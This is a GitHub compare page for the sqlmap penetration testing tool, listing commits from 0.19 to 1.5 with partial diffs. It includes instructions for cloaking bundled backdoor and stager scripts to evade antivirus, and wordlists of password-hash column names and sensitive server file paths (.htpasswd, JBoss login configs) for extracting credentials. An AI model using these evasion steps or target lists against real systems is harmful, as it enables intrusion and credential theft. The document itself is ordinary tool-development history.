Compare commits

..

247 Commits
0.19 ... 1.5

Author SHA1 Message Date
Miroslav Stampar
0207ecf0ee Version bump (1.5) 2021-01-03 15:23:40 +01:00
Miroslav Stampar
ae6a812ee1 Trivial updates 2020-12-31 12:38:57 +01:00
Miroslav Stampar
f23c04131c Patch of a patch 2020-12-31 12:17:08 +01:00
Miroslav Stampar
ab0df2a85c Fixes #4503 2020-12-31 12:09:15 +01:00
Miroslav Stampar
2cf2dd9a2c Fixes #4502 2020-12-31 12:00:13 +01:00
Miroslav Stampar
82e28e038e Another year bump 2020-12-31 11:49:19 +01:00
Miroslav Stampar
31fe3453a2 Copyright year bump 2020-12-31 11:46:27 +01:00
Miroslav Stampar
32deef59c3 Fixes #4499 2020-12-28 19:09:31 +01:00
Miroslav Stampar
8142dd8f3b Minor update 2020-12-28 15:39:01 +01:00
Miroslav Stampar
1b2ac3069d Implementing --proxy-freq (Issue #4496) 2020-12-26 23:04:48 +01:00
Miroslav Stampar
bb02eefb70 Fixes #4495 2020-12-26 00:49:42 +01:00
Miroslav Stampar
8c8aae9170 Fixes #4492 2020-12-25 23:24:59 +01:00
Miroslav Stampar
99e6d56f09 Fixes #4494 2020-12-25 22:55:19 +01:00
Miroslav Stampar
41e247be56 Another trivial update 2020-12-22 21:40:15 +01:00
Miroslav Stampar
81602c4093 Another minor update 2020-12-22 21:35:02 +01:00
Miroslav Stampar
31c597f9e6 Minor update 2020-12-22 21:30:12 +01:00
Miroslav Stampar
b039c35f2b Fixes #4479 2020-12-18 12:38:15 +01:00
Miroslav Stampar
bae7766e64 Support patch for #4486 2020-12-18 12:13:07 +01:00
Miroslav Stampar
9c95445723 Trivial update (drei nagging) 2020-12-18 12:01:49 +01:00
Miroslav Stampar
eeffcfe1b6 Periodic recloaking (AV) 2020-12-18 11:57:13 +01:00
Miroslav Stampar
809538d1bb Trivial update 2020-12-18 11:38:54 +01:00
Miroslav Stampar
5f743ab19b Fixes #4480 2020-12-17 13:50:33 +01:00
Miroslav Stampar
85c6d0d5c1 Fixes #4483 2020-12-17 13:34:23 +01:00
Miroslav Stampar
d9e6e678e8 Fixes #4470 2020-12-10 23:05:19 +01:00
Miroslav Stampar
7e675fed9f Fixes #4471 2020-12-10 22:47:29 +01:00
Miroslav Stampar
5bf52c3f9c Trivial patches 2020-12-10 14:22:44 +01:00
Miroslav Stampar
94709c93bb Minor update 2020-12-10 13:56:25 +01:00
Miroslav Stampar
a852d25314 Trying smth 2020-12-10 11:27:37 +01:00
Miroslav Stampar
c0aa8565a1 Update of banner regexes 2020-12-08 14:41:19 +01:00
Miroslav Stampar
bce1cfe00f Minor update 2020-12-08 13:40:46 +01:00
Miroslav Stampar
0cd6285707 Long live the Python2 2020-12-07 21:30:18 +01:00
Miroslav Stampar
8a783702d9 Fixes #4464 2020-12-07 12:28:49 +01:00
Miroslav Stampar
760563dbd1 Patch for #4451 2020-12-07 12:00:10 +01:00
Miroslav Stampar
92054b5d63 Fixes #4465,#4466,#4468,#4469 2020-12-07 11:42:46 +01:00
Miroslav Stampar
2f3801b808 Minor leftover 2020-12-07 11:23:11 +01:00
Miroslav Stampar
d5c9bdf279 Patch for #4467 2020-12-07 11:22:34 +01:00
Miroslav Stampar
12158af6ca Fixes #4457 2020-12-04 12:28:13 +01:00
tomjshore
8e662a5179 Changed get logs to hanndle ints correctly (#4460) 2020-12-04 11:47:09 +01:00
Miroslav Stampar
8d9c84236d Fixes #4458 2020-12-04 11:45:40 +01:00
Miroslav Stampar
815d417a9e Fixes #4462 2020-12-04 11:40:09 +01:00
Miroslav Stampar
3936a11280 Fixes #4450 2020-12-02 22:30:01 +01:00
Miroslav Stampar
13e363155a Fixes #4453 2020-12-02 21:43:11 +01:00
Miroslav Stampar
be0f7a9e07 Update of --beep (including XSS/FI) 2020-12-01 23:10:53 +01:00
Miroslav Stampar
33a8db9596 Minor patch 2020-12-01 22:56:24 +01:00
Miroslav Stampar
9f6eacb4e8 Fixes #4444 2020-12-01 16:36:34 +01:00
Miroslav Stampar
e6d9dc46ab Patch for #4449 2020-12-01 15:56:47 +01:00
Miroslav Stampar
c3e81a6223 Switching EXTRACTVALUE and FLOOR in priority (FLOOR is not working on recent MySQL) 2020-12-01 15:34:49 +01:00
Miroslav Stampar
78ba33737e Patch for known NCHAR/UNION-query SQLi problems 2020-12-01 12:16:15 +01:00
Miroslav Stampar
c6557e2b45 Minor patches 2020-11-30 23:33:08 +01:00
Miroslav Stampar
fa17cfb606 Fixes #4447 2020-11-30 22:25:56 +01:00
Miroslav Stampar
40623e780a Minor patch (--update to work with #pip) 2020-11-27 12:57:16 +01:00
Miroslav Stampar
35862bf4c8 Minor patch 2020-11-27 12:37:56 +01:00
Miroslav Stampar
5d6def425a Trivial cleanup 2020-11-27 12:32:05 +01:00
Miroslav Stampar
7066e7ce97 Trivial update 2020-11-26 23:41:35 +01:00
Miroslav Stampar
8dad7dd12d Trivial update 2020-11-24 14:07:30 +01:00
Miroslav Stampar
6b7c3a2f81 Minor cosmetics 2020-11-20 13:03:15 +01:00
Miroslav Stampar
e9b3af6b9a Minor compatibility patch for 'Copy as cURL' browser feature 2020-11-20 12:52:02 +01:00
Miroslav Stampar
194c911433 Another update for #4367 2020-11-16 11:59:17 +01:00
Miroslav Stampar
e621d7ec6a Fixes #4423 2020-11-16 10:28:53 +01:00
Miroslav Stampar
854507bc85 Potential fix for #4307 2020-11-13 23:00:26 +01:00
Miroslav Stampar
82eec780a2 Update README.md 2020-11-10 22:36:02 +01:00
Miroslav Stampar
de55be3afe Update README.md 2020-11-10 22:10:03 +01:00
Miroslav Stampar
4d2b890a0a Silent bug fix 2020-11-09 23:02:48 +01:00
Miroslav Stampar
c243c5fe0d Implementing --skip-heuristics (#4414) 2020-11-09 22:11:11 +01:00
Miroslav Stampar
a35fc713a2 Minor patch (AS keyword does not play well in nullCastConcatFields) 2020-11-05 11:20:51 +01:00
Miroslav Stampar
97b7dc585c Patch for #4419 2020-11-05 10:59:36 +01:00
Miroslav Stampar
c5a5717add Minor adjustment 2020-11-05 10:12:54 +01:00
Miroslav Stampar
fe4e79511a Fixes #4413 2020-11-02 11:15:45 +01:00
Miroslav Stampar
1d5bde9cdf Implementing --live-cookies (Issue #4401) 2020-10-29 13:51:11 +01:00
Miroslav Stampar
227a23f091 Fixes #4408 2020-10-29 12:33:12 +01:00
Miroslav Stampar
0ff3b1ce70 Implemented FOR JSON AUTO in MsSQL 2020-10-28 16:48:11 +01:00
Miroslav Stampar
7e483ffd7a Adding minor note 2020-10-28 14:38:13 +01:00
Miroslav Stampar
a5852390f7 Implements ARRAY_AGG for PostgreSQL 2020-10-28 14:36:25 +01:00
Miroslav Stampar
73d0c67a80 Implements #4407 2020-10-28 12:57:25 +01:00
Miroslav Stampar
8e9f7e90c3 Fixes #4404 2020-10-27 15:12:42 +01:00
Miroslav Stampar
f6bf331b8f Minor cosmetics 2020-10-27 14:57:12 +01:00
Miroslav Stampar
585645e806 Implements #4403 2020-10-27 14:06:56 +01:00
Miroslav Stampar
673a5afe07 Fixes #4400 2020-10-26 11:21:29 +01:00
Miroslav Stampar
c9a8b915c8 Fixes #4398 2020-10-25 17:34:06 +01:00
Miroslav Stampar
9645aaa33f Fixes #4399 2020-10-25 17:11:22 +01:00
Miroslav Stampar
e556876fe6 Fixes #4394 2020-10-21 14:58:30 +02:00
Miroslav Stampar
0524670cf9 More generic update for #4199 2020-10-21 14:44:07 +02:00
Miroslav Stampar
96a2c91701 Patch regarding #4199 2020-10-21 14:40:11 +02:00
Miroslav Stampar
5029d67e4f Minor update regarding the #4388 2020-10-20 12:54:22 +02:00
Miroslav Stampar
5af64f5ae4 Minor update 2020-10-20 12:37:07 +02:00
Miroslav Stampar
bc981c517b New vuln-test case 2020-10-15 17:20:32 +02:00
Miroslav Stampar
87ad11dffb Fixes #4383 and #4384 2020-10-15 12:11:21 +02:00
Miroslav Stampar
3663fa936b Fixes #4382 2020-10-14 23:04:01 +02:00
Miroslav Stampar
4687383a44 Patch for multiple-Ctrl-C in multiple-target mode 2020-10-14 12:22:56 +02:00
Miroslav Stampar
62cfd47b83 Minor patch 2020-10-14 11:49:58 +02:00
Miroslav Stampar
2bf22df53a Implementing support for piped input of targets 2020-10-14 11:34:52 +02:00
Miroslav Stampar
0585a55ee0 Trivial refactoring for #4379 2020-10-13 11:05:13 +02:00
tree-chtsec
babe52eb10 HSQLDB write file support (#4379)
* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <chtpt@treedeMacBook-Pro.local>
2020-10-13 10:56:39 +02:00
Miroslav Stampar
231c3da057 Update for #4380 2020-10-13 10:32:09 +02:00
Miroslav Stampar
13a2ab3fa3 Minor update (drei) 2020-10-05 21:36:30 +02:00
Miroslav Stampar
21cc6e3c99 Potential patch for #4367 2020-10-05 12:45:15 +02:00
Miroslav Stampar
a2a73b88ea Fixes #4366 2020-10-05 12:12:06 +02:00
Miroslav Stampar
210a4c3a0a Fixes #4363 2020-10-05 11:35:49 +02:00
Miroslav Stampar
15225668d0 Somebody was fooling around (Issue #4357) 2020-09-28 13:12:59 +02:00
Miroslav Stampar
c1bf36b876 Better alternative 2020-09-24 14:57:45 +02:00
Miroslav Stampar
229f89004b Fixes #4355 2020-09-24 14:55:13 +02:00
Miroslav Stampar
443b1f2ed5 ORDER BY required 2020-09-24 14:54:59 +02:00
Miroslav Stampar
60f4520020 Minor update for #4353 2020-09-23 15:29:28 +02:00
Miroslav Stampar
7460b87f1d Update for #4353 2020-09-23 15:22:07 +02:00
Miroslav Stampar
5d08b9004e Minor update 2020-09-21 17:11:11 +02:00
Miroslav Stampar
c2b9e539ae Update for #4351 2020-09-21 17:04:54 +02:00
HerendraTJ
3d8eb62a59 Issue Tracker --> Pelacak Masalah. (#4347) 2020-09-18 11:58:29 +02:00
Miroslav Stampar
d51e45fd34 Minor update for #4344 2020-09-17 15:26:06 +02:00
Miroslav Stampar
3258e29cf9 Update for #4344 2020-09-17 15:22:50 +02:00
antichown
e0ea1ab5e9 new tamper script (#4344)
* new tamper script

works with time-based queries

* Update sleepgetlock.py

Co-authored-by: Miroslav Stampar <miroslav@sqlmap.org>
2020-09-17 15:06:47 +02:00
Miroslav Stampar
192ca02c41 Minor update (more intuitive) 2020-09-16 14:28:32 +02:00
Miroslav Stampar
f0bbbb0918 Fixes #4341 2020-09-11 16:28:10 +02:00
Miroslav Stampar
f6857d4ee4 Bug fix (304 not modified as original response) 2020-09-11 14:32:25 +02:00
Miroslav Stampar
a1342e04a5 Minor update 2020-09-10 16:34:01 +02:00
Miroslav Stampar
7963281c41 Minor update 2020-09-10 16:20:12 +02:00
Miroslav Stampar
715063f0d4 Patching session PY2<->PY3 incompatibility issue 2020-09-09 16:15:23 +02:00
Miroslav Stampar
1658331810 Trivial update 2020-09-09 14:07:13 +02:00
Miroslav Stampar
bfe93e20c5 Patch for #4337 2020-09-09 13:58:26 +02:00
Miroslav Stampar
bcea050f22 Fixes #4331 2020-09-06 23:32:47 +02:00
Miroslav Stampar
c4a692abe3 Patch for #4332 2020-09-06 23:21:12 +02:00
Miroslav Stampar
b42b62ae38 Major improvement in Base64 handling (late-binding) 2020-09-04 13:16:50 +02:00
Miroslav Stampar
a7f20c1d67 Minor update (base64 stuff) 2020-09-04 12:45:33 +02:00
Miroslav Stampar
f781367ac1 Fixes #4328 2020-09-04 10:49:17 +02:00
mkauschi
1bec3a953c fix #4325 (#4327)
Co-authored-by: manuel <manuel@crashtest-security.com>
2020-09-02 17:07:28 +02:00
Miroslav Stampar
66e07dfab6 Fixes #4322 2020-09-01 15:35:14 +02:00
Miroslav Stampar
226d467f6d Fixes #4321 2020-08-31 22:06:22 +02:00
Miroslav Stampar
ea5ae44b6c Minor improvement 2020-08-31 11:55:14 +02:00
Miroslav Stampar
95b9a47c6f Adding support for easier 'decloaking' (AV something something) 2020-08-31 11:34:12 +02:00
Miroslav Stampar
e05f65628d Minor update 2020-08-31 11:18:29 +02:00
Miroslav Stampar
609545176f Minor refactoring 2020-08-28 14:46:59 +02:00
Miroslav Stampar
8de4820b24 Minor update 2020-08-28 14:24:43 +02:00
Miroslav Stampar
df5fabbbbb Adding couple of doctests 2020-08-24 11:10:13 +02:00
Miroslav Stampar
0c48d0dbec Minor update on request 2020-08-23 22:11:24 +02:00
Miroslav Stampar
5108c2d06c Minor update regarding #4312 2020-08-23 21:16:56 +02:00
Miroslav Stampar
603d602550 Fixes #4313 2020-08-23 20:59:10 +02:00
Miroslav Stampar
907786edb8 Patch for #4314 2020-08-23 20:56:22 +02:00
Miroslav Stampar
85b73f872e Minor patch 2020-08-20 13:54:52 +02:00
Miroslav Stampar
a42ec7d9cb Trivial refactoring 2020-08-13 16:22:09 +02:00
tree-chtsec
b3f4c6d0fc Make asterisk work with --csrf-token option (#4305) 2020-08-13 16:18:31 +02:00
Miroslav Stampar
cec65f3a27 Adding new tamper script 2020-08-12 09:50:04 +02:00
Miroslav Stampar
cc79ae69aa Fixes #4303 2020-08-11 15:09:23 +02:00
Miroslav Stampar
5a9dc15cf2 Introduction of --base64-safe 2020-08-10 22:26:03 +02:00
Miroslav Stampar
f1fd080ba5 Minor improvement 2020-08-10 21:54:58 +02:00
Miroslav Stampar
cfe9fb4f5b Fixes #4301 2020-08-10 21:27:38 +02:00
Miroslav Stampar
7a55c9c145 Trivial update 2020-08-10 21:26:37 +02:00
Miroslav Stampar
4077a359f4 Fixes #4294 2020-08-05 22:43:32 +02:00
Miroslav Stampar
435fd49f1d Trivial update 2020-08-04 10:34:18 +02:00
Miroslav Stampar
bcfd9c3f48 Trivial update 2020-08-04 10:27:52 +02:00
Miroslav Stampar
39c320c29b Fixes #4292 2020-08-03 23:23:14 +02:00
Miroslav Stampar
b719b9612f Adding new tamper script 2020-07-29 13:40:23 +02:00
Miroslav Stampar
84bc2640d1 Minor adjustment on private request 2020-07-28 12:55:57 +02:00
Miroslav Stampar
fced29a242 Fixes #4285 2020-07-28 11:30:47 +02:00
Miroslav Stampar
2e5e958d3f Fixes #4287 2020-07-28 11:22:05 +02:00
Miroslav Stampar
1e30471d3d Minor update 2020-07-28 11:10:15 +02:00
Miroslav Stampar
10b93d753d Adding new tamper script 2020-07-27 14:01:12 +02:00
Miroslav Stampar
1280abc25c Adding some tamper scripts 2020-07-27 13:49:48 +02:00
Miroslav Stampar
c47061f25d Update regarding #4281 2020-07-26 20:16:58 +02:00
HerendraTJ
9b871f1093 Spacing (#4279)
Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.
2020-07-26 20:06:59 +02:00
Miroslav Stampar
0ba07e93d5 Fixes #4284 2020-07-26 19:34:30 +02:00
Miroslav Stampar
ce50acf69d Minor update 2020-07-22 11:25:06 +02:00
Miroslav Stampar
9f0ff27c26 Fixes #4277 2020-07-22 09:57:13 +02:00
Miroslav Stampar
ecafac5cd2 Minor cleanup 2020-07-21 22:05:02 +02:00
Miroslav Stampar
f39869992c Fixes #4275 2020-07-20 12:43:17 +02:00
Miroslav Stampar
e910fc6b8b Some more things regarding #4269 2020-07-16 16:10:13 +02:00
Gustavo
6375f9e506 Fixing an error (#4267)
There was a newline breaking the link:

"[aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master)"
2020-07-16 14:45:17 +02:00
Miroslav Stampar
8e649dc3f7 Minor patch 2020-07-16 14:42:51 +02:00
Miroslav Stampar
a6ce91a3e2 Fixes #4269 2020-07-16 14:30:50 +02:00
Miroslav Stampar
408862b040 Update regarding #4268 2020-07-16 14:22:32 +02:00
Miroslav Stampar
fc4dec7291 Fixes #4260 2020-07-15 15:29:35 +02:00
Miroslav Stampar
274a6e62da Patch for #4261 2020-07-15 14:53:35 +02:00
Miroslav Stampar
aa7c548376 Fixes #4263 2020-07-15 14:49:16 +02:00
Miroslav Stampar
6b7a1dfd94 Adding new payload (credits: blackfan.ru) 2020-07-10 14:33:45 +02:00
Miroslav Stampar
67f918f6ad Minor update 2020-07-07 11:31:07 +02:00
Miroslav Stampar
a65e1faf99 Patch for #4258 2020-07-07 10:41:23 +02:00
Miroslav Stampar
ff48e1d820 Minor update (phpass) 2020-07-01 13:04:44 +02:00
Miroslav Stampar
0094f02fb0 Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252) 2020-07-01 12:46:26 +02:00
Miroslav Stampar
459130196a Minor patch 2020-07-01 11:56:24 +02:00
Miroslav Stampar
0a8a65bc0b Update regarding #4248 2020-06-29 20:29:46 +02:00
Miroslav Stampar
5d370f2fa1 Update regarding the #4243 2020-06-26 11:45:05 +02:00
Miroslav Stampar
1296336e18 Minor cleanup 2020-06-25 15:13:35 +02:00
Miroslav Stampar
75b3736467 Re-implementation for #4243 2020-06-25 15:07:19 +02:00
Miroslav Stampar
282eb7e533 Minor update related to the #4244 2020-06-25 13:48:50 +02:00
Miroslav Stampar
f28d82c119 Minor patch related to the #4239 2020-06-25 13:02:56 +02:00
Miroslav Stampar
74603c5530 Fixes #4239 2020-06-25 12:55:10 +02:00
Miroslav Stampar
050700f079 Fixes #4237 2020-06-24 12:05:40 +02:00
Miroslav Stampar
31bf1fc6b6 Update regarding #4239 2020-06-24 11:41:51 +02:00
Miroslav Stampar
d4d83b29f0 Drei patch (Issue #4235) 2020-06-17 21:58:10 +02:00
Miroslav Stampar
596fff48ad Fixes #4235 2020-06-17 20:56:50 +02:00
Miroslav Stampar
56ff081314 Up the ante 2020-06-17 20:05:12 +02:00
Miroslav Stampar
69421b4806 Fixes #4231 2020-06-14 22:12:00 +02:00
Miroslav Stampar
3910b86853 Potential patch for #4232 2020-06-14 22:01:49 +02:00
Miroslav Stampar
bbdedb39f9 Fixes #4233 2020-06-14 21:23:55 +02:00
Miroslav Stampar
d0be782ece Update for #4212 2020-06-10 12:53:22 +02:00
Miroslav Stampar
16c8673e98 Implementation on request (--csrf-retries) 2020-06-10 12:49:35 +02:00
Miroslav Stampar
1dedc36d85 Implementation for #4212 2020-06-10 12:19:52 +02:00
Miroslav Stampar
c1d46c95ed Minor correction 2020-06-10 11:53:58 +02:00
Miroslav Stampar
d5fc2c9350 Patch for #4227 2020-06-05 17:37:36 +02:00
Miroslav Stampar
c28ad8fcd8 Adding boundary for #4221 2020-06-05 17:32:41 +02:00
Miroslav Stampar
2d06543cac Fixes #4220 2020-06-01 03:29:53 +02:00
Miroslav Stampar
6a1e0fb497 Travis CI patch (no more --check-internet) 2020-05-27 18:39:48 +02:00
Miroslav Stampar
5c650e15a9 Still debugging Travis CI issue 2020-05-27 18:30:13 +02:00
Miroslav Stampar
c97a814d26 Trying to deal with Travis CI problem 2020-05-27 17:57:38 +02:00
Miroslav Stampar
a58d08c7e4 Removing deprecated option 2020-05-27 16:50:16 +02:00
Miroslav Stampar
9c503873ad Minor patch (TravisCI related) 2020-05-27 15:44:44 +02:00
Miroslav Stampar
03dfd6b4d5 Fixes #4214 2020-05-27 15:39:03 +02:00
Miroslav Stampar
d5a2ffc8ce Patch for Issue #4211 2020-05-21 22:32:16 +02:00
Miroslav Stampar
ddf8b1b198 Fixes #4208 2020-05-20 16:12:19 +02:00
Karim Kanso
9a36357c52 SQLite table dumping compatibility improvements. (#4205)
* Fix sqlite regex for create table to support implicit column types

* Fix sqlite when dumping large tables
2020-05-20 15:35:20 +02:00
Miroslav Stampar
667e4d00f2 Fixes #4204 2020-05-20 15:20:44 +02:00
Miroslav Stampar
788dcbf077 Update of THANKS file 2020-05-20 15:04:31 +02:00
Miroslav Stampar
a851dc486a Couple of trivialities 2020-05-15 12:58:03 +02:00
Miroslav Stampar
9077734ec5 Minor update related to last couple of commits 2020-05-14 19:20:16 +02:00
Miroslav Stampar
7b49c46906 Commit as a thank you for the donation 2020-05-14 17:48:07 +02:00
Miroslav Stampar
317bc0f69c Trivial text update 2020-05-14 17:17:34 +02:00
Miroslav Stampar
c7bdf27542 Tribute to all the FUBAR h4x0rs around the world (#4183) 2020-05-14 17:15:33 +02:00
Miroslav Stampar
b334b6b742 Patch for #4199 2020-05-13 14:18:19 +02:00
Miroslav Stampar
aa812effe7 Fixes #4203 2020-05-13 13:45:52 +02:00
Miroslav Stampar
99e2a26a8d Fixes #4202 2020-05-13 12:53:58 +02:00
Miroslav Stampar
01edcbf71d Minor patch (proper exit code-ing) 2020-05-13 12:39:37 +02:00
Miroslav Stampar
0b93311ef2 Fixes #4201 2020-05-13 11:59:59 +02:00
Miroslav Stampar
4f3f43d8bb Further update for #4198 2020-05-11 17:55:48 +02:00
Miroslav Stampar
4582948aac Update regarding #4198 2020-05-11 12:38:54 +02:00
Miroslav Stampar
3729b76c14 Fixes #4194 2020-05-11 11:31:36 +02:00
Miroslav Stampar
a8c3d17583 Fixes #4197 2020-05-11 11:13:06 +02:00
Miroslav Stampar
3c36b186ad Mixing some fresh blood (PwnedPasswordTop100k) 2020-05-06 13:28:13 +02:00
Miroslav Stampar
075fa1d4be Minor improvement (bz2 slow, zlib fast) 2020-05-06 13:18:19 +02:00
Miroslav Stampar
5be407edad Patch related to the #4188 2020-05-06 00:36:18 +02:00
Miroslav Stampar
7ab82de80f Minor update (usage of cookie in --eval) 2020-05-05 23:57:15 +02:00
Miroslav Stampar
93399ab1b3 Cleaning of leftover parameter values 2020-05-05 23:50:45 +02:00
Miroslav Stampar
87bccf4aa7 Patch related to the #4187 2020-05-05 23:40:37 +02:00
Miroslav Stampar
1c179674d8 Minor patching (--not-string related) 2020-05-05 13:31:44 +02:00
Miroslav Stampar
7a6433b9ef Proper implementation for #4184 2020-05-04 12:25:46 +02:00
Miroslav Stampar
4e7f0b10d5 Patch related to the #4185 2020-05-04 10:45:39 +02:00
Miroslav Stampar
0351b4a939 Minor patch (CTF related) 2020-05-04 00:06:03 +02:00
Miroslav Stampar
3c93872d53 Update related to the #4182 2020-05-02 13:59:06 +02:00
Miroslav Stampar
881d767df8 Fixes #4181 2020-04-30 16:20:57 +02:00
Miroslav Stampar
1156b53eee Patch for #4178 2020-04-29 14:36:11 +02:00
Miroslav Stampar
5cacf20eb5 Speeding up the post-processing of large dumps 2020-04-27 14:23:47 +02:00
Miroslav Stampar
1825390951 Feeding the OCD 2020-04-26 15:35:34 +02:00
Miroslav Stampar
7815f88027 Patch for #4171 2020-04-26 15:34:27 +02:00
Miroslav Stampar
f63a92a272 Another minor patch related to the #4167 2020-04-21 01:26:28 +02:00
Miroslav Stampar
e3b3dea46c Patch related to the #4167 2020-04-21 01:21:50 +02:00
Miroslav Stampar
55595edce2 Fixes #4165 2020-04-17 19:29:36 +02:00
Miroslav Stampar
aaa0c5c6a8 Minor update 2020-04-15 23:32:15 +02:00
Miroslav Stampar
57bb710ae6 Bug fix (CTF and stuff) 2020-04-08 22:40:23 +02:00
Miroslav Stampar
ce9285381d Fixes #4158 2020-04-07 02:07:54 +02:00
Miroslav Stampar
dad4879200 Couple of trivial refactorings 2020-04-03 00:16:38 +02:00
465 changed files with 7543 additions and 1848 deletions

View File

@@ -9,9 +9,8 @@ jobs:
dist: trusty dist: trusty
- python: 3.6 - python: 3.6
dist: trusty dist: trusty
- python: 3.9-dev - python: nightly
dist: bionic dist: bionic
sudo: false
git: git:
depth: 1 depth: 1
script: script:

View File

@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file. of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. sqlmap is (C) 2006-2021 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -4,7 +4,7 @@
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is currently searching for sponsor(s).** **sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
Screenshots Screenshots
---- ----

View File

@@ -4,6 +4,7 @@
<html lang="en"> <html lang="en">
<head> <head>
<title>DEMO</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
@@ -74,7 +75,7 @@
<div class="sidebar-nav navbar-collapse"> <div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu"> <ul class="nav" id="side-menu">
<li> <li>
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a> <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level"> <ul class="nav nav-second-level">
<li><a>Target</a></li> <li><a>Target</a></li>
<li><a>Request</a></li> <li><a>Request</a></li>

View File

@@ -1,7 +1,7 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command: To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this: To get back them into the original form use this:
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
id id
@@ -798,7 +798,9 @@ news
nick nick
number number
nummer nummer
passhash
pass_hash pass_hash
password_hash
passwordsalt passwordsalt
personal_key personal_key
phone phone
@@ -2726,3 +2728,4 @@ confidential
# Misc # Misc
u_pass u_pass
hashedPw

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a # Reference: https://gist.github.com/sckalath/78ad449346171d29241a
@@ -679,17 +679,6 @@
/.htaccess /.htaccess
/.htpasswd /.htpasswd
/[jboss]/server/default/conf/jboss-minimal.xml
/[jboss]/server/default/conf/jboss-service.xml
/[jboss]/server/default/conf/jndi.properties
/[jboss]/server/default/conf/log4j.xml
/[jboss]/server/default/conf/login-config.xml
/[jboss]/server/default/conf/server.log.properties
/[jboss]/server/default/conf/standardjaws.xml
/[jboss]/server/default/conf/standardjboss.xml
/[jboss]/server/default/deploy/jboss-logging.xml
/[jboss]/server/default/log/boot.log
/[jboss]/server/default/log/server.log
/access.log /access.log
/access_log /access_log
/apache/conf/httpd.conf /apache/conf/httpd.conf
@@ -1024,17 +1013,17 @@
/mysql/my.cnf /mysql/my.cnf
/mysql/my.ini /mysql/my.ini
/netserver/bin/stable/apache/php.ini /netserver/bin/stable/apache/php.ini
/opt/[jboss]/server/default/conf/jboss-minimal.xml /opt/jboss/server/default/conf/jboss-minimal.xml
/opt/[jboss]/server/default/conf/jboss-service.xml /opt/jboss/server/default/conf/jboss-service.xml
/opt/[jboss]/server/default/conf/jndi.properties /opt/jboss/server/default/conf/jndi.properties
/opt/[jboss]/server/default/conf/log4j.xml /opt/jboss/server/default/conf/log4j.xml
/opt/[jboss]/server/default/conf/login-config.xml /opt/jboss/server/default/conf/login-config.xml
/opt/[jboss]/server/default/conf/server.log.properties /opt/jboss/server/default/conf/server.log.properties
/opt/[jboss]/server/default/conf/standardjaws.xml /opt/jboss/server/default/conf/standardjaws.xml
/opt/[jboss]/server/default/conf/standardjboss.xml /opt/jboss/server/default/conf/standardjboss.xml
/opt/[jboss]/server/default/deploy/jboss-logging.xml /opt/jboss/server/default/deploy/jboss-logging.xml
/opt/[jboss]/server/default/log/boot.log /opt/jboss/server/default/log/boot.log
/opt/[jboss]/server/default/log/server.log /opt/jboss/server/default/log/server.log
/opt/apache/apache.conf /opt/apache/apache.conf
/opt/apache/apache2.conf /opt/apache/apache2.conf
/opt/apache/conf/apache.conf /opt/apache/conf/apache.conf
@@ -1075,17 +1064,6 @@
/private/etc/httpd/httpd.conf /private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default /private/etc/httpd/httpd.conf.default
/private/etc/squirrelmail/config/config.php /private/etc/squirrelmail/config/config.php
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
